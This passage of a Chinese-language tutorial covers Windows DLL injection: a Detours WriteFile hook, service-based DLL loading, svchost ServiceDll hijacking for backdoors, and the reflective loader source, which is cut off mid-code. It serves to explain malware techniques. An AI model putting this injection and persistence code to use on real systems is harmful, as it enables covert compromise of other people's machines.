// notepad_api_hijack_dll.c : 定義 DLL 應用程序的導出函數。 // #include "stdafx.h" #include <stdio.h> #include <stdlib.h> #include <Windows.h> // 引入detours頭文件 #include "detours.h" //1.引入detours.lib靜態庫 #pragma comment(lib,"detours64.lib") //2.定義函數指針 static BOOL(WINAPI *oldWriteFile)( _In_ HANDLE hFile, _In_ LPCVOID lpBuffer, _In_ DWORD nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped ) = WriteFile; //3.定義新的函數替代目標函數,需要與目標函數的原型相同 BOOL WINAPI newWriteFile( _In_ HANDLE hFile, _In_ LPCVOID lpBuffer, _In_ DWORD nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped ) { int result = 0; result = MessageBoxA(0, "是否允許寫該文件", "提示", 1); //printf("result = %d", result); if (result == 1) // 允許調用 { oldWriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); //調用舊的函數 } else { // 不允許調用 } return 0; } // 4.攔截 //開始攔截 _declspec(dllexport) void Hook() // _declspec(dllexport)表示外部可調用,需要加上該關鍵字其它進程才能成功調用該函數 { DetourRestoreAfterWith();//恢復原來狀態(重置) DetourTransactionBegin();//攔截開始 DetourUpdateThread(GetCurrentThread());//刷新當前線程(刷新生效) //這里可以連續多次調用DetourAttach,表明HOOK多個函數 DetourAttach((void **)&oldWriteFile, newWriteFile);//實現函數攔截 DetourTransactionCommit();//攔截生效 } //取消攔截 _declspec(dllexport) void UnHook() { DetourTransactionBegin();//攔截開始 DetourUpdateThread(GetCurrentThread());//刷新當前線程 //這里可以連續多次調用DetourDetach,表明撤銷多個函數HOOK DetourDetach((void **)&oldWriteFile, newWriteFile); //撤銷攔截函數 DetourTransactionCommit();//攔截生效 } // 劫持別人的程序:通過DLL注入,並調用Hook函數實現劫持。 // 劫持系統:通過DLL注入系統程序(如winlogon.exe)實現劫持系統函數。 _declspec(dllexport) void main() { Hook(); // 攔截 }
編譯得到dll文件,打開dll注入工具,點擊add,選擇"notepad_api_hijack_dll.dll"
https://coding.net/u/linchaolong/p/DllInjector/git/raw/master/Xenos.exe
點擊Advanced,在Init routine中填寫動態庫(dll)中的函數的名稱,我們這里是main,點擊注入后,可以在進程加載dll列表中看到已經注入成功
為了觸發我們的Hook動作,我們隨便保存一個文件,可以看到彈框了
這里需要注意,32bit的dll不能注入64bit的進程,如果我們需要對64bit的進程進行Hook注入,需要編譯出一份64bit的detours dll
同時需要注意,MS-Detours只能攔截WIN32 API,對原生C++的API無法攔截
Relevant Link:
http://www.cnblogs.com/flying_bat/archive/2008/04/18/1159996.html http://blog.csdn.net/zhoujiaxq/article/details/18656951 https://www.microsoft.com/en-us/research/project/detours/
http://blog.csdn.net/linchaolong/article/details/4398755
https://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours
15. 以服務形式執行DLL中指定函數/或直接指定EXE作為啟動程序
0x1:技術原理
一般來說,黑客利用漏洞植入Dll入侵時,會先通過rundll32.exe執行dllmain,dllmain里會接收並判斷傳入的參數(例如-k,-i等),根據不同的參數執行例如service install,主惡意邏輯執行等
值得注意的是,惡意代碼執行附加代碼的另一種方式是將它作為服務安裝,服務同時也提供了另一種在系統上維持持久化駐留的方式。windows操作系統支持多種服務類型,它們以獨特的方式執行

SC_HANDLE WINAPI CreateService( _In_ SC_HANDLE hSCManager, _In_ LPCTSTR lpServiceName, _In_opt_ LPCTSTR lpDisplayName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwServiceType, _In_ DWORD dwStartType, _In_ DWORD dwErrorControl, _In_opt_ LPCTSTR lpBinaryPathName, _In_opt_ LPCTSTR lpLoadOrderGroup, _Out_opt_ LPDWORD lpdwTagId, _In_opt_ LPCTSTR lpDependencies, _In_opt_ LPCTSTR lpServiceStartName, _In_opt_ LPCTSTR lpPassword ); dwServiceType 1. SERVICE_ADAPTER(0x00000004) 2. SERVICE_FILE_SYSTEM_DRIVER(0x00000002): File system driver service. 3. SERVICE_KERNEL_DRIVER(0x00000001): Driver service. 加載代碼到內核中執行 4. SERVICE_RECOGNIZER_DRIVER(0x00000008): Reserved. 5. SERVICE_WIN32_OWN_PROCESS(0x00000010): Service that runs in its own process. 惡意代碼有時也會使用,在一個exe中保存代碼。並且作為一個獨立的進程運行 6. SERVICE_WIN32_SHARE_PROCESS(0x00000020): Service that shares a process with one or more other services. 惡意代碼最常使用的就是這個類型,這種類型將服務對應的代碼保存在一個DLL中,並且在一個共享的進程中組合多個不同的服務 7. SERVICE_USER_OWN_PROCESS(0x00000050): The service runs in its own process under the logged-on user account. 8. SERVICE_USER_SHARE_PROCESS(0x00000060) dwStartType 1. SERVICE_AUTO_START(0x00000002): A service started automatically by the service control manager during system startup. 2. SERVICE_BOOT_START(0x00000000): A device driver started by the system loader. This value is valid only for driver services. 3. SERVICE_DEMAND_START(0x00000003): A service started by the service control manager when a process calls the StartService function. 4. SERVICE_DISABLED(0x00000004): A service that cannot be started. Attempts to start the service result in the error code ERROR_SERVICE_DISABLED. 5. SERVICE_SYSTEM_START(0x00000001)
關於本地系統上的服務信息被保存在注冊表中
1. services.msc,然后打開"remote procedure call" 2. C:\Windows\system32\svchost.exe -k rpcss: 這說明rpcss服務是依靠svchost調用"rpcss"參數來實現的,而參數的內容則是存放在系統注冊表中的 3. regedit.exe,找到[HKEY_Local_Machine\System\CurrentControlSet\Services\rpcss]項。svchost進程通過讀取"rpcss"服務注冊表信息,就能啟動該服務了 1) 找到類型為"reg_expand_sz"的鍵"imagepath",其鍵值為"%SystemRoot%\system32\svchost.exe -k rpcss" 2) 另外在"parameters"子項中有個名為"servicedll"的鍵,其值為"%SystemRoot%\system32\rpcss.dll",其中"rpcss.dll"就是rpcss服務要使用的動態鏈接庫文件
0x2:示例代碼
SampleServiceMain.cpp

#include <Windows.h> #include <tchar.h> // need a SERVICE_STATUS structure that will be used to report the status of the service to the Windows Service Control Manager (SCM). SERVICE_STATUS g_ServiceStatus = {0}; // need a SERVICE_STATUS_HANDLE that is used to reference our service instance once it is registered with the SCM. SERVICE_STATUS_HANDLE g_StatusHandle = NULL; HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE; VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv); VOID WINAPI ServiceCtrlHandler (DWORD); DWORD WINAPI ServiceWorkerThread (LPVOID lpParam); #define SERVICE_NAME _T("My Sample Service") int _tmain (int argc, TCHAR *argv[]) { OutputDebugString(_T("My Sample Service: Main: Entry")); SERVICE_TABLE_ENTRY ServiceTable[] = { {SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; // call StartServiceCtrlDispatcher so the SCM can call your Service Entry point (ServiceMain above). if (StartServiceCtrlDispatcher (ServiceTable) == FALSE) { OutputDebugString(_T("My Sample Service: Main: StartServiceCtrlDispatcher returned error")); return GetLastError (); } OutputDebugString(_T("My Sample Service: Main: Exit")); return 0; } VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv) { DWORD Status = E_FAIL; OutputDebugString(_T("My Sample Service: ServiceMain: Entry")); //Register the service control handler which will handle Service Stop, Pause, Continue, Shutdown, etc control commands. These are registered via the dwControlsAccepted field of the SERVICE_STATUS structure as a bit mask. g_StatusHandle = RegisterServiceCtrlHandler (SERVICE_NAME, ServiceCtrlHandler); if (g_StatusHandle == NULL) { OutputDebugString(_T("My Sample Service: ServiceMain: RegisterServiceCtrlHandler returned error")); goto EXIT; } // Tell the service controller we are starting // Set Service Status to SERVICE_PENDING then to SERVICE_RUNNING. Set status to SERVICE_STOPPED on any errors and on exit. Always set SERVICE_STATUS.dwControlsAccepted to 0 when setting status to SERVICE_STOPPED or SERVICE_PENDING. ZeroMemory (&g_ServiceStatus, sizeof (g_ServiceStatus)); g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwServiceSpecificExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } /* * Perform tasks neccesary to start the service here */ OutputDebugString(_T("My Sample Service: ServiceMain: Performing Service Start Operations")); // Create stop event to wait on later. g_ServiceStopEvent = CreateEvent (NULL, TRUE, FALSE, NULL); if (g_ServiceStopEvent == NULL) { OutputDebugString(_T("My Sample Service: ServiceMain: CreateEvent(g_ServiceStopEvent) returned error")); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = GetLastError(); g_ServiceStatus.dwCheckPoint = 1; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } goto EXIT; } // Tell the service controller we are started g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } // Start the thread that will perform the main task of the service // Perform start up tasks. Like creating threads/events/mutex/IPCs/etc. 這個dll服務是以線程的形式運行的 HANDLE hThread = CreateThread (NULL, 0, ServiceWorkerThread, NULL, 0, NULL); OutputDebugString(_T("My Sample Service: ServiceMain: Waiting for Worker Thread to complete")); // Wait until our worker thread exits effectively signaling that the service needs to stop WaitForSingleObject (hThread, INFINITE); OutputDebugString(_T("My Sample Service: ServiceMain: Worker Thread Stop Event signaled")); /* * Perform any cleanup tasks */ OutputDebugString(_T("My Sample Service: ServiceMain: Performing Cleanup Operations")); CloseHandle (g_ServiceStopEvent); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 3; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } EXIT: OutputDebugString(_T("My Sample Service: ServiceMain: Exit")); return; } /* The Service Control Handler was registered in your Service Main Entry point. Each service must have a handler to handle control requests from the SCM. 我們在GUI界面上點擊啟動、停止的action處理需要ServiceCtrlHandler函數回調來處理 */ VOID WINAPI ServiceCtrlHandler (DWORD CtrlCode) { OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Entry")); switch (CtrlCode) { /* here have only implemented and supported the SERVICE_CONTROL_STOP request. we can handle other requests such as SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_INTERROGATE, SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_SHUTDOWN and others supported by the Handler or HandlerEx function that can be registered with the RegisterServiceCtrlHandler(Ex) function. */ case SERVICE_CONTROL_STOP : OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SERVICE_CONTROL_STOP Request")); if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING) break; /* * Perform tasks neccesary to stop the service here */ g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 4; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SetServiceStatus returned error")); } // This will signal the worker thread to start shutting down SetEvent (g_ServiceStopEvent); break; default: break; } OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Exit")); } // This sample Service Worker Thread does nothing but sleep and check to see if the service has received a control to stop. // Once a stop control has been received the Service Control Handler sets the g_ServiceStopEvent event. The Service Worker Thread breaks and exits. This signals the Service Main routine to return and effectively stop the service. DWORD WINAPI ServiceWorkerThread (LPVOID lpParam) { OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Entry")); // Periodically check if the service has been requested to stop while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0) { /* * Perform main service function here */ // Simulate some work by sleeping Sleep(3000); } OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Exit")); return ERROR_SUCCESS; }
這里有幾點要重點理解
- 服務程序一般寫成控制台應用程序,main函數為入口函數(如果是dll就是dllMain函數)
- main函數的參數在CreateService函數中指定(例如有些惡意軟件在植入時采取無參數形式,而在注冊服務時加入了額外的參數,以此來區分入侵植入和服務自動啟動而走不同的邏輯)
- 當SCM啟動一個服務程序時,SCM等待服務程序調用StartServiceCtrlDispatcher函數,如果服務進程沒有及時調用該函數,則會導致啟動服務失敗,所以我們要注冊成服務的exe或者dll里我么需要自己實現StartServiceCtrlDispatcher的調用邏輯
- 在分析惡意代碼的時候,我們會遇到這種情況,exe/dll的main邏輯里很簡單,只有聲明一個ServiceStartTable服務結構體,設置成員變量,然后就是調用StartServiceCtrlDispatcherA啟動真正的邏輯函數
Installing the Service
sc create "My Sample Service" binPath=C:\Users\Administrator\Downloads\SampleService\SampleService\Release\SampleService.exe
注冊表鍵值
Uninstalling the Service
sc delete "My Sample Service"
16. SERVICE_WIN32_SHARE_PROCESS - 以DLL形式在共享的svchost.exe中運行服務
0x1:技術原理
svchost.exe是一個屬於微軟Windows操作系統的系統程序,微軟官方對它的解釋是:Svchost.exe 是從動態鏈接庫 (DLL) 中運行的服務的通用主機進程名稱。這個程序對系統的正常運行是非常重要,而且是不能被結束的
進程文件: svchost or svchost.exe
進程名稱: Generic Host Process for Win32 Services 進程類別: 系統進程 位置: C:\windows\system32\svchost.exe 英文描述:svchost.exe is a system process belonging to the Microsoft Windows Operating System which handles processes executed from DLLs. This program is important for the stable and secure running of your computer and should not be terminated
svchost.exe是一類通用的進程名稱。它是和運行動態鏈接庫(DLLs)的Windows系統服務相關的。在機器啟動的時候,svchost.exe檢查注冊表中的服務,運行並載入它們。經常會有多個svchost.exe同時運行的情況,每一個都表示該計算機上運行的一類基本服
SERVICE_WIN32_SHARE_PROCESS和獨立進程方式本質上沒有區別,唯一區別在於imagepath是一個dll路徑,同時它也支持傳入對應的參數,但是我們在進程列表里看不到這個dll,而只能看到svchost.exe進程
Relevant Link:
http://baike.baidu.com/item/svchost.exe/552746 https://msdn.microsoft.com/en-us/library/ms683500(v=vs.85).aspx https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus https://msdn.microsoft.com/en-us/library/windows/desktop/ms685138(v=vs.85).aspx https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus http://www.devx.com/cplus/Article/9857/0/page/2
17. 劫持現有Service的啟動DLL
0x1:技術原理
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost]中存放着svchost啟動的組和組內的各個服務,如果要使用svchost啟動某個服務,則該服務名就會出現在該目錄下。
利用這個機制執行DLL的方法如下:
- 添加一個新的組,在組里添加服務名
- 在現有組里添加服務名
- 直接使用現有組里的一個服務名,但是本機沒有安裝的服務:PortLess BackDoor使用的該方法
- 修改現有組里的現有服務,把它的ServiceDll指向自己的DLL后門
Relevant Link:
http://it.rising.com.cn/safe/protect/2010-01-07/6174_2.html
18. Reflective DLL injection In Memory - 從內存中的dll binary加載/注入dll技術
0x1:技術原理
內存dll注入技術是一種從內存buffer中(msf常使用該技術從遠程C&C中下載dll payload)注入dll到本機進程的技術,為了躲避API監控,它常常自帶PE Loader代碼,即在注入DLL中先調用一個ReflectiveLoader()導出函數,該函數的作用是"模擬PE Loader",即模擬windows dll loader的過程把自身加載鏈接到目標進程地址空間中,並調用真正的DllMain入口函數
大體上說,這個技術的攻擊流程如下
1. 獲得CPU執行權限 1) 可能通過CreateRemoteThread() 2) 或者微型注入的shellcode
3) apc dll注入 2. 調用流程到了ReflectiveLoader,如果是dll注入,則該函數必須是dll的一個導出函數 3. 注入的dll或者shellcode可能在目標進程的任意內存位置,ReflectiveLoader做的第一件事是獲取當前所在的鏡像基地址 1) _ReturnAddress 2) call-pop被用來自定位 4. 通過PEB方式動態獲取核心動態鏈接庫和API函數地址 1) KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC) 2) NTDLLDLL_HASH(pNtFlushInstructionCache) 5. ReflectiveLoader重新申請了一塊用於存放DLL的內存地址 6. 將DLL的header和節逐個拷貝到申請的內存地址中 7. 處理導入函數,加載依賴庫(使用LoadLibrary),填充IAT 8. 重定位,修復偏移 9. 獲取該DLL的真實入口地址,需要注意的是,DLL的入口地址往往都不是DllMain而是修改過的(MSF常用該技術躲避sandbox檢測) 9. 通過函數指針的方式調用DLL的DllMain函數,使用DLL_PROCESS_DETACH為參數調用DLL入口點,把控制流轉到真實的入口地址Entry Point
0x2:示例代碼
1. ReflectiveLoader.c - 模擬pe loader

//===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #include "ReflectiveLoader.h" //===============================================================================================// // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value HINSTANCE hAppInstance = NULL; //===============================================================================================// #pragma intrinsic( _ReturnAddress ) // This function can not be inlined by the compiler or we will not get the address we expect. Ideally // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics // available (and no inline asm available under x64). __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } //===============================================================================================// // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, // otherwise the DllMain at the end of this file will be used. // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, // otherwise it is assumed you are calling the ReflectiveLoader via a stub. // This is our position independent reflective DLL loader/injector #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) #else DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) #endif { // the functions we need LOADLIBRARYA pLoadLibraryA = NULL; GETPROCADDRESS pGetProcAddress = NULL; VIRTUALALLOC pVirtualAlloc = NULL; NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; USHORT usCounter; // the initial location of this image in memory ULONG_PTR uiLibraryAddress; // the kernels base address and later this images newly loaded base address ULONG_PTR uiBaseAddress; // variables for processing the kernels export table ULONG_PTR uiAddressArray; ULONG_PTR uiNameArray; ULONG_PTR uiExportDir; ULONG_PTR uiNameOrdinals; DWORD dwHashValue; // variables for loading this image ULONG_PTR uiHeaderValue; ULONG_PTR uiValueA; ULONG_PTR uiValueB; ULONG_PTR uiValueC; ULONG_PTR uiValueD; ULONG_PTR uiValueE; // STEP 0: calculate our images current base address // we will start searching backwards from our callers return address. // The _ReturnAddress intrinsic provides the address of the instruction in the calling function that will be executed after control returns to the caller. uiLibraryAddress = caller(); // loop through memory backwards searching for our images base address // we dont need SEH style search as we shouldnt generate any access violations with this while( TRUE ) { // 通過逐個DWORD搜索0x5A4D // MZ關鍵字動態搜索DLL的文件頭 if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) { uiHeaderValue += uiLibraryAddress; // break if we have found a valid MZ/PE header if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress--; } // STEP 1: process the kernels exports for the functions our loader needs... // get the Process Enviroment Block // 獲取PEB #ifdef WIN_X64 uiBaseAddress = __readgsqword( 0x60 ); #else #ifdef WIN_X86 uiBaseAddress = __readfsdword( 0x30 ); #else WIN_ARM uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); #endif #endif // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; /* 動態獲取API函數地址 KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC) NTDLLDLL_HASH(pNtFlushInstructionCache) */ // get the first entry of the InMemoryOrder module list uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; while( uiValueA ) { // get pointer to current modules name (unicode string) uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; // set bCounter to the length for the loop usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; // clear uiValueC which will store the hash of the module name uiValueC = 0; // compute the hash of the module name... do { uiValueC = ror( (DWORD)uiValueC ); // normalize to uppercase if the madule name is in lowercase if( *((BYTE *)uiValueB) >= 'a' ) uiValueC += *((BYTE *)uiValueB) - 0x20; else uiValueC += *((BYTE *)uiValueB); uiValueB++; } while( --usCounter ); // compare the hash with that of kernel32.dll if( (DWORD)uiValueC == KERNEL32DLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; // get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 3; // loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // if we have found a function we want we get its virtual address if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // store this functions VA if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == GETPROCADDRESS_HASH ) pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == VIRTUALALLOC_HASH ) pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrement our counter usCounter--; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } else if( (DWORD)uiValueC == NTDLLDLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; // get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 1; // loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // if we have found a function we want we get its virtual address if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // store this functions VA if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrement our counter usCounter--; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } // we stop searching when we have found everything we need. if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) break; // get the next entry uiValueA = DEREF( uiValueA ); } // STEP 2: load our image into a new permanent location in memory... // get the VA of the NT Header for the PE to be loaded uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // allocate all the memory for the DLL to be loaded into. we can load at any address because we will // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. // 重新在目標被注入進程中申請一塊新的可讀可寫可執行內存 uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // we must now copy over the headers // 寫入DLL的文件頭 uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; uiValueB = uiLibraryAddress; uiValueC = uiBaseAddress; while( uiValueA-- ) *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; // STEP 3: load in all of our sections... // uiValueA = the VA of the first section uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); // itterate through all sections, loading them into memory. // 從DLL中逐個節拷貝到目標進程中 uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while( uiValueE-- ) { // uiValueB is the VA for this section uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); // uiValueC if the VA for this sections data uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); // copy the section over uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; while( uiValueD-- ) *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; // get the VA of the next section uiValueA += sizeof( IMAGE_SECTION_HEADER ); } // STEP 4: process our images import table... // 在被注入進程的內存空間中重建寫入DLL的導入表 // uiValueB = the address of the import directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; // we assume their is an import table to process // uiValueC is the first entry in the import table uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // itterate through all imports while( 